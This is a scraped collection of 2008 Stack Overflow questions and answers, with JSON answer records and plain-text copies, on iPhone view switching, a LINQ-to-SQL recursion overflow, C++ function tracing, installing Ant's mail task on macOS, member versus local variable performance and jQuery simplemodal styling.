[ { "answer_id": 238477, "author": "kdbdallas", "author_id": 26728, "author_profile": "https://Stackoverflow.com/users/26728", "pm_score": 4, "selected": true, "text": "<p>One way you could do this is to create a new UIView and then when the button is pressed add that new UIVIew as a subview, therefore making it what you see.</p>\n\n<p>If you make the new view its own subclass of UIView you would do something like this.</p>\n\n<pre><code>LoginView *login = [[LoginView alloc] initWithFrame: rect];\n[mainView addSubview: login];\n</code></pre>\n" }, { "answer_id": 238795, "author": "Colin Barrett", "author_id": 23106, "author_profile": "https://Stackoverflow.com/users/23106", "pm_score": 1, "selected": false, "text": "<p>The correct way to do this is set up your project with a <code>UINavigationController</code>. In your root view controller, add your button in the view controllers's view. Then in <code>viewDidLoad</code>, register for <code>UIControlEventTouchUpInside</code> events from you button. Then, in your event callback, call:</p>\n\n<pre><code>[self.navigationController pushViewController:[[[SecondViewControllerClass alloc] initWithNib:nibName bundle:nil] autorelease]];\n</code></pre>\n\n<p>What kdbdallas suggested will work, but you won't get the nice sliding effects, nor will the navigation bar automatically change and provide your users with a back button.</p>\n" }, { "answer_id": 762952, "author": "Isaac Waller", "author_id": 764272, "author_profile": "https://Stackoverflow.com/users/764272", "pm_score": 3, "selected": false, "text": "<pre><code>[self presentModalViewController:myViewController animated:NO];\n</code></pre>\n\n<p>Will pop up a new view, no animations, nothing. To get rid of it, inside myViewController:</p>\n\n<pre><code>[self dismissModalViewControllerAnimated:NO];\n</code></pre>\n\n<p>Though I reccomend you use the nice sliding animations (change NO to YES.) And yes, you can stack them up. I think this is better than creating a new UIView, but I may be wrong.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238473", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22471/" ]
I want to make a really simple iphone app: one screen with a single button... when the button is tapped a new screen appears. That's it. No animations, nothing, I've tried endlessly to make the NavBar sample project do this... and it works but only if I use a UINavigationController with a table that I can tap etc. I've tried all the skeleton projects in XCode too. I thought I was done when I did this: ``` [[self navigationController] presentModalViewController:myViewController animated:YES]; ``` But I couldn't do it without the UINavigationController. I just want a simple example. Thanks so much!
One way you could do this is to create a new UIView and then when the button is pressed add that new UIVIew as a subview, therefore making it what you see. If you make the new view its own subclass of UIView you would do something like this. ``` LoginView *login = [[LoginView alloc] initWithFrame: rect]; [mainView addSubview: login]; ```
238,490
<p><strong>edit #2:</strong> Question solved halfways. Look below</p> <p>As a follow-up question, does anyone know of a non-intrusive way to solve what i'm trying to do below (namely, linking objects to each other without triggering infinite loops)?</p> <hr> <p>I try to create a asp.net-mvc web application, and get a StackOverFlowException. A controller triggers the following command:</p> <pre><code> public ActionResult ShowCountry(int id) { Country country = _gameService.GetCountry(id); return View(country); } </code></pre> <p>The GameService handles it like this (WithCountryId is an extension):</p> <pre><code> public Country GetCountry(int id) { return _gameRepository.GetCountries().WithCountryId(id).SingleOrDefault(); } </code></pre> <p>The GameRepository handles it like this:</p> <pre><code> public IQueryable&lt;Country&gt; GetCountries() { var countries = from c in _db.Countries select new Country { Id = c.Id, Name = c.Name, ShortDescription = c.ShortDescription, FlagImage = c.FlagImage, Game = GetGames().Where(g =&gt; g.Id == c.GameId).SingleOrDefault(), SubRegion = GetSubRegions().Where(sr =&gt; sr.Id == c.SubRegionId).SingleOrDefault(), }; return countries; } </code></pre> <p>The GetGames() method causes the StackOverflowException:</p> <pre><code> public IQueryable&lt;Game&gt; GetGames() { var games = from g in _db.Games select new Game { Id = g.Id, Name = g.Name }; return games; } </code></pre> <p>My Business objects are different from the linq2sql classes, that's why I fill them with a select new.</p> <p>An unhandled exception of type 'System.StackOverflowException' occurred in mscorlib.dll</p> <hr> <p><strong>edit #1:</strong> I have found the culprit, it's the following method, it triggers the GetCountries() method which in return triggers the GetSubRegions() again, ad nauseam:</p> <pre><code> public IQueryable&lt;SubRegion&gt; GetSubRegions() { return from sr in _db.SubRegions select new SubRegion { Id = sr.Id, Name = sr.Name, ShortDescription = sr.ShortDescription, Game = GetGames().Where(g =&gt; g.Id == sr.GameId).SingleOrDefault(), Region = GetRegions().Where(r =&gt; r.Id == sr.RegionId).SingleOrDefault(), Countries = new LazyList&lt;Country&gt;(GetCountries().Where(c =&gt; c.SubRegion.Id == sr.Id)) }; } </code></pre> <p>Might have to think of something else here :) That's what happens when you think in an OO mindset because of too much coffee</p>
[ { "answer_id": 238507, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>Hai! I think your models are recursively calling a method unintentionally, which results in the stack overflow. Like, for instance, your Subregion object is trying to get Country objects, which in turn have to get Subregions. </p>\n\n<p>Anyhow, it always helps to check the stack in a StackOverflow exception. If you see a property being accessed over and over, its most likely because you're doing something like this:</p>\n\n<p>public object MyProperty { set { MyProperty = value; }}</p>\n\n<p>Its easier to spot situations like yours, where method A calls method B which calls method A, because you can see the same methods showing up two or more times in the call stack.</p>\n" }, { "answer_id": 238518, "author": "Paco", "author_id": 13376, "author_profile": "https://Stackoverflow.com/users/13376", "pm_score": 2, "selected": true, "text": "<p>The problem might be this: countries have subregions and subregions have countries. I don't know how you implement the lazy list, but that might keep calling GetCountries and then GetSubRegions and so on. To find that out, I would launch the debugger en set breakpoints on the GetCountries and GetSubRegions method headers.</p>\n\n<p>I tried similar patterns with LinqToSql, but it's hard to make bidirectional navigation work without affecting the performance to much. That's one of the reasons I'm using NHibernate right now. </p>\n" }, { "answer_id": 238521, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 1, "selected": false, "text": "<p>To answer your edited question, namely: \"linking objects to each other without triggering infinite loops\":</p>\n\n<p>Assuming you've got some sort of relation where both sides need to know about the other... get hold of all the relevant entities in both sides, then link them together, rather than trying to make the fetch of one side automatically fetch the other. Or just make <em>one</em> side fetch the other, and then fix up the remaining one. So in your case, the options would be:</p>\n\n<p>Option 1:</p>\n\n<ul>\n<li>Fetch all countries (leaving Subregions blank)</li>\n<li>Fetch all Subregions (leaving Countries blank)</li>\n<li>For each Subregion, look through the list of Countries and add the Subregion to the Country and the Country to the Subregion</li>\n</ul>\n\n<p>Option 2:</p>\n\n<ul>\n<li>Fetch all countries (leaving Subregions blank)</li>\n<li>Fetch all Subregions, setting Subregion.Countries via the countries list fetched above</li>\n<li>For each subregion, go through all its countries and add it to that country</li>\n</ul>\n\n<p>(Or reverse country and subregion)</p>\n\n<p>They're basically equialent answers, it just changes when you do some of the linking.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238490", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13466/" ]
**edit #2:** Question solved halfways. Look below As a follow-up question, does anyone know of a non-intrusive way to solve what i'm trying to do below (namely, linking objects to each other without triggering infinite loops)? --- I try to create a asp.net-mvc web application, and get a StackOverFlowException. A controller triggers the following command: ``` public ActionResult ShowCountry(int id) { Country country = _gameService.GetCountry(id); return View(country); } ``` The GameService handles it like this (WithCountryId is an extension): ``` public Country GetCountry(int id) { return _gameRepository.GetCountries().WithCountryId(id).SingleOrDefault(); } ``` The GameRepository handles it like this: ``` public IQueryable<Country> GetCountries() { var countries = from c in _db.Countries select new Country { Id = c.Id, Name = c.Name, ShortDescription = c.ShortDescription, FlagImage = c.FlagImage, Game = GetGames().Where(g => g.Id == c.GameId).SingleOrDefault(), SubRegion = GetSubRegions().Where(sr => sr.Id == c.SubRegionId).SingleOrDefault(), }; return countries; } ``` The GetGames() method causes the StackOverflowException: ``` public IQueryable<Game> GetGames() { var games = from g in _db.Games select new Game { Id = g.Id, Name = g.Name }; return games; } ``` My Business objects are different from the linq2sql classes, that's why I fill them with a select new. An unhandled exception of type 'System.StackOverflowException' occurred in mscorlib.dll --- **edit #1:** I have found the culprit, it's the following method, it triggers the GetCountries() method which in return triggers the GetSubRegions() again, ad nauseam: ``` public IQueryable<SubRegion> GetSubRegions() { return from sr in _db.SubRegions select new SubRegion { Id = sr.Id, Name = sr.Name, ShortDescription = sr.ShortDescription, Game = GetGames().Where(g => g.Id == sr.GameId).SingleOrDefault(), Region = GetRegions().Where(r => r.Id == sr.RegionId).SingleOrDefault(), Countries = new LazyList<Country>(GetCountries().Where(c => c.SubRegion.Id == sr.Id)) }; } ``` Might have to think of something else here :) That's what happens when you think in an OO mindset because of too much coffee
The problem might be this: countries have subregions and subregions have countries. I don't know how you implement the lazy list, but that might keep calling GetCountries and then GetSubRegions and so on. To find that out, I would launch the debugger en set breakpoints on the GetCountries and GetSubRegions method headers. I tried similar patterns with LinqToSql, but it's hard to make bidirectional navigation work without affecting the performance to much. That's one of the reasons I'm using NHibernate right now.
238,517
<p>I have intermittent crashes occurring in my ActiveMQ libraries due to the way I'm using the activemq-cpp API. It'd be much easier to debug the issue if I could observe every function being called leading up to the crash. Are there any quick ways to trace the entry and exit of functions in a Visual Studio 2005 c++ multithreaded program?</p> <p>Thanks in advance!</p>
[ { "answer_id": 238522, "author": "Dima", "author_id": 13313, "author_profile": "https://Stackoverflow.com/users/13313", "pm_score": 3, "selected": true, "text": "<p>Use a Tracer object. Something like this:</p>\n\n<pre><code>\nclass Tracer\n{\npublic:\n Tracer(const char *functionName) : functionName_(functionName)\n {\n cout &lt&lt \"Entering function \" &lt&lt functionName_ &lt&lt endl;\n }\n\n ~Tracer()\n {\n cout &lt&lt \"Exiting function \" &lt&lt functionName_ &lt&lt endl;\n }\n\n const char *functionName_;\n};\n</code></pre>\n\n<p>Now you can simply instantiate a Tracer object at the top the function, and it will automatically print \"exiting... \" when the function exits and the destructor is called:</p>\n\n<pre><code>\nvoid foo()\n{\n Tracer t(\"foo\");\n ...\n}\n</code></pre>\n" }, { "answer_id": 238532, "author": "xtofl", "author_id": 6610, "author_profile": "https://Stackoverflow.com/users/6610", "pm_score": 2, "selected": false, "text": "<p>While the debugger is attached to a process, you can rightclick in the source code and select \"breakpoint->add TracePoint\", with the text you want (even some macro's are supplied).</p>\n\n<p>The Tracepoint is in fact a BreakPoint with the \"When Hit\" field on some message printer functionality, and it doesn't actually break the process. I found it mighty useful: it also has a macro $FUNCTION, which does exactly what you need: print the function it is in (provided it has the debug info available...), and a $THREADID.</p>\n" }, { "answer_id": 238601, "author": "Ilya", "author_id": 6807, "author_profile": "https://Stackoverflow.com/users/6807", "pm_score": 2, "selected": false, "text": "<p>All the options above nice and can help you. But i can't see how setting TracePoing with mouse can help you in case you code have thousands of functions.<br>\nThis kind of thing should be part of your regular programming work. When you writing a function you should think what trace message will help you to debug it.<br>\nYou need to write/use existing logger that can be spitted to section (reader thread, worker thread, etc... )and different logging levels (error, warning,trace, verbose etc.. ). The good logger should be designed in the way it's not hurt you performance, this usually harm the verbosity, but complex synchronization problems usually can be reproduced unless the logging is very fast, like assigning a string pointer to the array that can be dumped after problem is reproduced. I usually start debugging with full trace dumped to the screen and if i lucky and bug reproduced this way, fixing the bug is trivial because i already have enough information, the fun starts when problem goes away and you need to play with verbosity in order to reproduce the problem.<br>\nI actually find debugging more creative and satisfying than code writing, but this is just me :).</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238517", "https://Stackoverflow.com", "https://Stackoverflow.com/users/191808/" ]
I have intermittent crashes occurring in my ActiveMQ libraries due to the way I'm using the activemq-cpp API. It'd be much easier to debug the issue if I could observe every function being called leading up to the crash. Are there any quick ways to trace the entry and exit of functions in a Visual Studio 2005 c++ multithreaded program? Thanks in advance!
Use a Tracer object. Something like this: ``` class Tracer { public: Tracer(const char *functionName) : functionName_(functionName) { cout << "Entering function " << functionName_ << endl; } ~Tracer() { cout << "Exiting function " << functionName_ << endl; } const char *functionName_; }; ``` Now you can simply instantiate a Tracer object at the top the function, and it will automatically print "exiting... " when the function exits and the destructor is called: ``` void foo() { Tracer t("foo"); ... } ```
238,525
<p>I've been running the built-in <a href="http://ant.apache.org/" rel="nofollow noreferrer">Ant</a> from the command line on a Macintosh (10.5.5) and have run into some trouble with the <strong>Mail</strong> task. Running the Mail task produces the following message:</p> <pre><code>[mail] Failed to initialise MIME mail: org.apache.tools.ant.taskdefs.email.MimeMailer </code></pre> <p>This is most likely due to a missing ant-javamail.jar file in the /usr/share/ant/lib directory. I see a "ant-javamail-1.7.0.pom" file in this directory but not the appropriate jar file. Anyone know why this jar file might be missing and what the best way to resolve the problem is?</p>
[ { "answer_id": 239516, "author": "npellow", "author_id": 2767300, "author_profile": "https://Stackoverflow.com/users/2767300", "pm_score": 1, "selected": false, "text": "<p>Download the Java Mail libraries from: <a href=\"http://java.sun.com/products/javamail/\" rel=\"nofollow noreferrer\">http://java.sun.com/products/javamail/</a> .\nYou will also need <a href=\"http://java.sun.com/products/javabeans/glasgow/jaf.html\" rel=\"nofollow noreferrer\">http://java.sun.com/products/javabeans/glasgow/jaf.html</a></p>\n\n<p>A list of all external dependencies required by Ant's optional tasks are outlined here <a href=\"http://ant.apache.org/manual/index.html\" rel=\"nofollow noreferrer\">http://ant.apache.org/manual/index.html</a> .</p>\n\n<p>Another way to get dependencies for Ant very easily, is to run:</p>\n\n<pre><code>ant -f fetch all\n</code></pre>\n\n<p>from $ANT_HOME. You can also run -projecthelp for a full list of targets:</p>\n\n<pre><code>all load all the libraries\n antlr load antlr libraries\n bcel load bcel libraries\n beanshell load beanshell support\n bsf load bsf libraries\n debugging internal ant debugging\n get-m2 Download the Maven2 Ant tasks\n jdepend load jdepend libraries\n jruby load jruby\n junit load junit libraries\n jython load jython\n logging load logging libraries\n networking load networking libraries (commons-net; jsch)\n regexp load regexp libraries\n rhino load rhino\n script load script languages\n xerces load an updated version of Xerces\n xml load full XML libraries (xalan, resolver)\n</code></pre>\n" }, { "answer_id": 265270, "author": "Ken", "author_id": 31629, "author_profile": "https://Stackoverflow.com/users/31629", "pm_score": 3, "selected": true, "text": "<p>Here's what I ended up doing to resolve the problem:</p>\n\n<ol>\n<li>Downloaded the latest version of Ant from <a href=\"http://ant.apache.org/\" rel=\"nofollow noreferrer\">http://ant.apache.org/</a></li>\n<li>The \"built-in\" Ant is installed in /usr/share/ant; I didn't want to overwrite that version so I extracted the new, full version into /usr/<strong><em>local</em></strong>/share/apache-ant-1.7.1/</li>\n<li>As <a href=\"https://stackoverflow.com/users/17333/npellow\">npellow</a> points out, the the Mac doesn't include mail.jar or activation.jar -- these files can be downloaded and extracted from <a href=\"http://java.sun.com/products/javamail/downloads/index.html\" rel=\"nofollow noreferrer\">JavaMail API</a> and <a href=\"http://java.sun.com/products/javabeans/glasgow/jaf.html\" rel=\"nofollow noreferrer\">JavaBeans Activation Framework</a> respectively and copied to the <em>new</em> ant lib folder (same folder as all the ant-*.jar files)</li>\n<li>The ant command (/usr/bin/ant) is a symbolic link to /usr/share/ant/bin/ant; I updated this link to point to the new version (<code>ln -s /usr/local/share/apache-ant-1.7.1/bin/ant /usr/bin/ant</code>)</li>\n</ol>\n\n<p>If for some reason you need to make the old version of Ant the default again, just use<br>\n<code>ln -s /usr/share/ant/bin/ant /usr/bin/ant</code></p>\n\n<p>Steps 2-4 were done at the command prompt as root. That's it -- the Mac now has the latest, <em>complete</em> version of Ant and the Mail task works just fine. </p>\n" }, { "answer_id": 859744, "author": "benzado", "author_id": 10947, "author_profile": "https://Stackoverflow.com/users/10947", "pm_score": 0, "selected": false, "text": "<p>I also got this working a slightly different way:</p>\n\n<ol>\n<li>Created directory <code>~/.ant/lib</code>.</li>\n<li>Downloaded <a href=\"http://java.sun.com/products/javamail/downloads/index.html\" rel=\"nofollow noreferrer\">JavaMail API</a> and copied the jars into that directory.</li>\n<li>Downloaded <a href=\"http://java.sun.com/javase/technologies/desktop/javabeans/jaf/downloads/index.html\" rel=\"nofollow noreferrer\">JavaBeans Activation Framework</a> and copied the jars into that directory.</li>\n<li>Downloaded <a href=\"http://archive.apache.org/dist/ant/binaries/\" rel=\"nofollow noreferrer\">Apache Ant 1.7.0</a> (not the latest, matches the installed version) and copied the <code>apache-ant-1.7.0/lib/ant-javamail.jar</code> file into that directory.</li>\n</ol>\n\n<p>This only solves the problem for a single user account, but that was fine for my purposes and saved me the hassle of having two separate ant installations on my machine.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238525", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31629/" ]
I've been running the built-in [Ant](http://ant.apache.org/) from the command line on a Macintosh (10.5.5) and have run into some trouble with the **Mail** task. Running the Mail task produces the following message: ``` [mail] Failed to initialise MIME mail: org.apache.tools.ant.taskdefs.email.MimeMailer ``` This is most likely due to a missing ant-javamail.jar file in the /usr/share/ant/lib directory. I see a "ant-javamail-1.7.0.pom" file in this directory but not the appropriate jar file. Anyone know why this jar file might be missing and what the best way to resolve the problem is?
Here's what I ended up doing to resolve the problem: 1. Downloaded the latest version of Ant from <http://ant.apache.org/> 2. The "built-in" Ant is installed in /usr/share/ant; I didn't want to overwrite that version so I extracted the new, full version into /usr/***local***/share/apache-ant-1.7.1/ 3. As [npellow](https://stackoverflow.com/users/17333/npellow) points out, the the Mac doesn't include mail.jar or activation.jar -- these files can be downloaded and extracted from [JavaMail API](http://java.sun.com/products/javamail/downloads/index.html) and [JavaBeans Activation Framework](http://java.sun.com/products/javabeans/glasgow/jaf.html) respectively and copied to the *new* ant lib folder (same folder as all the ant-\*.jar files) 4. The ant command (/usr/bin/ant) is a symbolic link to /usr/share/ant/bin/ant; I updated this link to point to the new version (`ln -s /usr/local/share/apache-ant-1.7.1/bin/ant /usr/bin/ant`) If for some reason you need to make the old version of Ant the default again, just use `ln -s /usr/share/ant/bin/ant /usr/bin/ant` Steps 2-4 were done at the command prompt as root. That's it -- the Mac now has the latest, *complete* version of Ant and the Mail task works just fine.
238,535
<p>Is it more efficient for a class to access member variables or local variables? For example, suppose you have a (callback) method whose sole responsibility is to receive data, perform calculations on it, then pass it off to other classes. Performance-wise, would it make more sense to have a list of member variables that the method populates as it receives data? Or just declare local variables each time the callback method is called?</p> <p>Assume this method would be called hundreds of times a second...</p> <p>In case I'm not being clear, here's some quick examples:</p> <pre><code>// use local variables class thisClass { public: void callback( msg&amp; msg ) { int varA; double varB; std::string varC; varA = msg.getInt(); varB = msg.getDouble(); varC = msg.getString(); // do a bunch of calculations } }; // use member variables class thisClass { public: void callback( msg&amp; msg ) { m_varA = msg.getInt(); m_varB = msg.getDouble(); m_varC = msg.getString(); // do a bunch of calculations } private: int m_varA; double m_varB; std::string m_varC; }; </code></pre>
[ { "answer_id": 238543, "author": "Daren Thomas", "author_id": 2260, "author_profile": "https://Stackoverflow.com/users/2260", "pm_score": 2, "selected": false, "text": "<p>This should be your compilers problem. Instead, optimize for maintainability: If the information is only ever used locally, store it in local (automatic) variables. I hate reading classes littered with member variables that don't actually tell me anything about the class itself, but only some details about how a bunch of methods work together :(</p>\n\n<p>In fact, I would be surprised if local variables aren't faster anyway - they are bound to be in cache, since they are close to the rest of the functions data (call frame) and an objects pointer might be somewhere totally else - but I am just guessing here.</p>\n" }, { "answer_id": 238544, "author": "Mark Ransom", "author_id": 5987, "author_profile": "https://Stackoverflow.com/users/5987", "pm_score": 1, "selected": false, "text": "<p>When in doubt, benchmark and see for yourself. And make sure it makes a difference first - hundreds of times a second isn't a huge burden on a modern processor.</p>\n\n<p>That said, I don't think there will be any difference. Both will be constant offsets from a pointer, the locals will be from the stack pointer and the members will be from the \"this\" pointer.</p>\n" }, { "answer_id": 238545, "author": "nobody", "author_id": 19405, "author_profile": "https://Stackoverflow.com/users/19405", "pm_score": 0, "selected": false, "text": "<p>Using the member variables should be marginally faster since they only have to be allocated once (when the object is constructed) instead of every time the callback is invoked. But in comparison to the rest of the work you're probably doing I expect this would be a very tiny percentage. Benckmark both and see which is faster.</p>\n" }, { "answer_id": 238546, "author": "fizzer", "author_id": 18167, "author_profile": "https://Stackoverflow.com/users/18167", "pm_score": 3, "selected": false, "text": "<p>I'd prefer the local variables on general principles, because they minimize evil mutable state in your program. As for performance, your profiler will tell you all you need to know. Locals should be faster for ints and perhaps other builtins, because they can be put in registers.</p>\n" }, { "answer_id": 238548, "author": "Black", "author_id": 25234, "author_profile": "https://Stackoverflow.com/users/25234", "pm_score": 1, "selected": false, "text": "<p>In my oppinion, it should not impact performance, because:</p>\n\n<ul>\n<li>In Your first example, the variables are accessed via a lookup on the stack, e.g. <strong>[ESP]+4</strong> which means <em>current end of stack plus four bytes</em>.</li>\n<li>In the second example, the variables are accessed via a lookup relative to this (remember, varB equals to this->varB). This is a similar machine instruction.</li>\n</ul>\n\n<p>Therefore, there is not much of a difference.</p>\n\n<p>However, You should avoid copying the string ;)</p>\n" }, { "answer_id": 238549, "author": "Martin York", "author_id": 14065, "author_profile": "https://Stackoverflow.com/users/14065", "pm_score": 2, "selected": false, "text": "<p>Silly question.<br>\nIt all depends on the compiler and what it does for optimization.<br></p>\n\n<p>Even if it did work what have you gained? Way to obfuscate your code?</p>\n\n<p>Variable access is usually done via a pointer and and offset.<br></p>\n\n<ul>\n<li>Pointer to Object + offset</li>\n<li>Pointer to Stack Frame + offset</li>\n</ul>\n\n<p>Also don't forget to add in the cost of moving the variables to local storage and then copying the results back. All of which could be meaning less as the compiler may be smart enough to optimize most of it away anyway.</p>\n" }, { "answer_id": 238554, "author": "nobody", "author_id": 19405, "author_profile": "https://Stackoverflow.com/users/19405", "pm_score": 0, "selected": false, "text": "<p>Also, there's a third option: static locals. These don't get re-allocated every time the function is called (in fact, they get preserved across calls) but they don't pollute the class with excessive member variables.</p>\n" }, { "answer_id": 238568, "author": "peterchen", "author_id": 31317, "author_profile": "https://Stackoverflow.com/users/31317", "pm_score": 7, "selected": true, "text": "<p>Executive summary: In virtually all scenarios, it doesn't matter, but there is a slight advantage for local variables.</p>\n\n<p>Warning: You are micro-optimizing. You will end up spending hours trying to understand code that is supposed to win a nanosecond.</p>\n\n<p>Warning: In your scenario, performance shouldn't be the question, but the role of the variables - are they temporary, or state of thisClass?</p>\n\n<p>Warning: First, second and last rule of optimization: measure!</p>\n\n<hr>\n\n<p>First of all, look at the typical assembly generated for x86 (your platform may vary):</p>\n\n<pre><code>// stack variable: load into eax\nmov eax, [esp+10]\n\n// member variable: load into eax\nmov ecx, [adress of object]\nmov eax, [ecx+4]\n</code></pre>\n\n<p>Once the address of the object is loaded, int a register, the instructions are identical. Loading the object address can usually be paired with an earlier instruction and doesn't hit execution time.</p>\n\n<p>But this means the ecx register isn't available for other optimizations. <em>However</em>, modern CPUs do some intense trickery to make that less of an issue. </p>\n\n<p>Also, when accessing many objects this may cost you extra. <em>However</em>, this is less than one cycle average, and there are often more opprtunities for pairing instructions.</p>\n\n<p>Memory locality: here's a chance for the stack to win big time. Top of stack is virtually always in the L1 cache, so the load takes one cycle. The object is more likely to be pushed back to L2 cache (rule of thumb, 10 cycles) or main memory (100 cycles). </p>\n\n<p><em>However</em>, you pay this only for the first access. if all you have is a single access, the 10 or 100 cycles are unnoticable. if you have thousands of accesses, the object data will be in L1 cache, too.</p>\n\n<p>In summary, the gain is so small that it virtually never makes sense to copy member variables into locals to achieve better performance. </p>\n" }, { "answer_id": 238580, "author": "Timo Geusch", "author_id": 29068, "author_profile": "https://Stackoverflow.com/users/29068", "pm_score": 1, "selected": false, "text": "<p>The amount of data that you will be interacting with will have a bigger influence on the execution speed than the way you represent the data in the implementation of the algorithm.</p>\n\n<p>The processor does not really care if the data is on the stack or on the heap (apart from the chance that the top of the stack will be in the processor cache as peterchen mentioned) but for maximum speed, the data will have to fit into the processor's cache (L1 cache if you have more than one level of cache, which pretty much all modern processors have). Any load from L2 cache - or $DEITY forbid, main memory - will slow down the execution. So if you're processing a string that's a few hundred KB in size and chances on every invocation, the difference will not even be measurable.</p>\n\n<p>Keep in mind that in most cases, a 10% speedup in a program is pretty much undetectable to the end user (unless you manage to reduce the runtime of your overnight batch from 25h back to less than 24h) so this is not worth fretting over unless you are sure and have the profiler output to back up that this particular piece of code is within the 10%-20% 'hot area' that has a major influence over your program's runtime.</p>\n\n<p>Other considerations should be more important, like maintainability or other external factors. For example if the above code is in heavily multithreaded code, using local variables can make the implementation easier.</p>\n" }, { "answer_id": 238588, "author": "Roddy", "author_id": 1737, "author_profile": "https://Stackoverflow.com/users/1737", "pm_score": 1, "selected": false, "text": "<p>It depends, but I expect there would be absolutely no difference.</p>\n\n<p>What is important is this: Using member variables as temporaries will make your code non-reentrant - For example, it will fail if two threads try to call callback() on the same object. Using static locals (or static member variables) is even worse, because then your code will fail if two threads try to call callback() on <strong>any</strong> thisClass object - or descendant. </p>\n" }, { "answer_id": 10766519, "author": "KalyanS", "author_id": 1340410, "author_profile": "https://Stackoverflow.com/users/1340410", "pm_score": 2, "selected": false, "text": "<p>A few points that have not been mentioned explicitly by others:</p>\n\n<ul>\n<li><p>You are potentially invoking assignment operators in your code.\ne.g varC = msg.getString(); </p></li>\n<li><p>You have some wasted cycles every time the function frame is setup. You are creating variables, default constructor called, then invoke the assignment operator to get the RHS value into the locals.</p></li>\n<li><p>Declare the locals to be const-refs and, of course, initialize them.</p></li>\n<li><p>Member variables might be on the heap(if your object was allocated there) and hence suffer from non-locality.</p></li>\n<li><p>Even a few cycles saved is good - why waste computation time at all, if you could avoid it.</p></li>\n</ul>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238535", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
Is it more efficient for a class to access member variables or local variables? For example, suppose you have a (callback) method whose sole responsibility is to receive data, perform calculations on it, then pass it off to other classes. Performance-wise, would it make more sense to have a list of member variables that the method populates as it receives data? Or just declare local variables each time the callback method is called? Assume this method would be called hundreds of times a second... In case I'm not being clear, here's some quick examples: ``` // use local variables class thisClass { public: void callback( msg& msg ) { int varA; double varB; std::string varC; varA = msg.getInt(); varB = msg.getDouble(); varC = msg.getString(); // do a bunch of calculations } }; // use member variables class thisClass { public: void callback( msg& msg ) { m_varA = msg.getInt(); m_varB = msg.getDouble(); m_varC = msg.getString(); // do a bunch of calculations } private: int m_varA; double m_varB; std::string m_varC; }; ```
Executive summary: In virtually all scenarios, it doesn't matter, but there is a slight advantage for local variables. Warning: You are micro-optimizing. You will end up spending hours trying to understand code that is supposed to win a nanosecond. Warning: In your scenario, performance shouldn't be the question, but the role of the variables - are they temporary, or state of thisClass? Warning: First, second and last rule of optimization: measure! --- First of all, look at the typical assembly generated for x86 (your platform may vary): ``` // stack variable: load into eax mov eax, [esp+10] // member variable: load into eax mov ecx, [adress of object] mov eax, [ecx+4] ``` Once the address of the object is loaded, int a register, the instructions are identical. Loading the object address can usually be paired with an earlier instruction and doesn't hit execution time. But this means the ecx register isn't available for other optimizations. *However*, modern CPUs do some intense trickery to make that less of an issue. Also, when accessing many objects this may cost you extra. *However*, this is less than one cycle average, and there are often more opprtunities for pairing instructions. Memory locality: here's a chance for the stack to win big time. Top of stack is virtually always in the L1 cache, so the load takes one cycle. The object is more likely to be pushed back to L2 cache (rule of thumb, 10 cycles) or main memory (100 cycles). *However*, you pay this only for the first access. if all you have is a single access, the 10 or 100 cycles are unnoticable. if you have thousands of accesses, the object data will be in L1 cache, too. In summary, the gain is so small that it virtually never makes sense to copy member variables into locals to achieve better performance.
238,536
<p>I tried to override the settings in the default stlyesheet that comes with the simplemodal jquery plugin with containerCSS which is working fine in IE7 but not Firefox or Chrome. Not sure if this is a bug or I am doing something wrong.</p> <p><strong>jQuery code:</strong></p> <pre><code>$(document).ready(function() { $("#ButtonPopup").click(function() { $("#addEditTask").modal({ onOpen: modalOpen, persist: true, containerCss: ({ width: "300", height: "200", marginLeft: "-150" }) }); return false; }); }); </code></pre> <p><strong>HTML code:</strong></p> <pre><code>&lt;button id="ButtonPopup"&gt;Popup&lt;/button&gt; &lt;div id="addEditTask" style="display:none;"&gt; &lt;p&gt;Aliquam nonummy adipiscing augue. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.&lt;/p&gt; &lt;button id="ButtonSave"&gt;Save&lt;/button&gt; &lt;button id="ButtonCancel"&gt;Cancel&lt;/button&gt; &lt;/div&gt; </code></pre> <p>Please see <a href="http://beckelman.net/issues/simplemodalfirefoxproblem/default.aspx" rel="nofollow noreferrer">this</a> for a working demo and zip download of the code that you can test for yourself.</p>
[ { "answer_id": 238561, "author": "Craig", "author_id": 27294, "author_profile": "https://Stackoverflow.com/users/27294", "pm_score": 0, "selected": false, "text": "<p>I would have a look at jqModal instead. </p>\n" }, { "answer_id": 238804, "author": "beckelmw", "author_id": 25335, "author_profile": "https://Stackoverflow.com/users/25335", "pm_score": 2, "selected": false, "text": "<p>Eric Martin answered this via the jquery mailing list.</p>\n\n<p><a href=\"http://groups.google.com/group/jquery-en/browse_thread/thread/90e58bb317002361\" rel=\"nofollow noreferrer\">http://groups.google.com/group/jquery-en/browse_thread/thread/90e58bb317002361</a></p>\n\n<p>I left out the units which worked find in IE but not in firefox.</p>\n" }, { "answer_id": 240375, "author": "thismat", "author_id": 14045, "author_profile": "https://Stackoverflow.com/users/14045", "pm_score": 3, "selected": true, "text": "<p>Gecko and WebKit based browsers really like their units. Make sure you always tell it how to measure your values.</p>\n\n<p>Also as a note, if you want to override inline styles from a css file, you can do so by adding !important to the end of the value.</p>\n\n<p>height: 300px !important;</p>\n\n<p>will override the inline styles.</p>\n\n<p>Cheers!</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238536", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25335/" ]
